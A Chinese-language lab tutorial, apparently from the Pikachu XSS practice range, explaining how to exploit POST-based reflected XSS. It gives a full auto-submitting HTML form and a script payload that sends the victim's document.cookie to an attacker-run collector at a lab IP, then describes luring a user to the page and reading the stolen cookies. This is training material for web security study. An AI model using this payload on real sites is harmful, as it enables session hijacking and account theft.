这边有个靶场,我们直接登录一下,这边的提交以post方式提交
我们可以看到,他并没有在url里面来传这个参数,我们看一下抓包
我们可以看到message是通过post方式传到后台的,这种情况下,我们没有办法把我们的恶意代码嵌入到url里面,发送给目标
POST型XSS的利用:cookie获取
在post方式下,我们没有办法发送url,让客户去帮我们提交表单,我们首先可以自己搭一个恶意站点,然后在里面写一个post表单,我们可以把这个表单的链接,发送给用户,让他去点击,他一旦访问post页面,这个页面,就会向存在xss漏洞的页面,去提交一个post请求,这样就实现了让用户帮我们提交post请求这么个目的
提交请求到后台,后台就会触发这个恶意的xss脚本,然后获取cookie,攻击者拿到cookie
Post表单自动提交页面-代码分析
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
//访问页面时,自动提交
</script>
</head>
<body>
<form method="post" action="http://192.168.42.236/ant/vulnerabilities/xss/xss_reflected_post.php">
//漏洞页面
<input id=“xssr_in” type=“text” maxlength=“20” name=“message” value=“需要提交的值"/>
//提交的值
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
这边有个form表单,当用户来访问我们这个页面的时候,这个页面会自动的向存在漏洞的网站提交post请求
他需要提交name=“message”,value=“需要提交的值",就是我们的恶意代码
<script>document.location = 'http://192.168.42.236/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
这个恶意代码跟我们之前讲get型xss是一样的
在我们的测试里面,我们只要把这个链接
http://192.168.42.236/pikachu/pkxss/xcookie/post.html
发送给用户,然后用户访问之后,就会实现我们的攻击目的
实际上,这整个攻击流程,就完成了,这个过程,就是刚刚用户去访问我们post表单的时候,这个表单帮用户去提交了一个post的请求,实际上这个post请求是向存在xss漏洞的页面,去提交了一个js的恶意代码,这个恶意代码,实际上就是获取本地的cookie,然后发送给我们的后台
我们看一下后台的数据
我们可以看到他的账号、密码的cookie,执行ID
|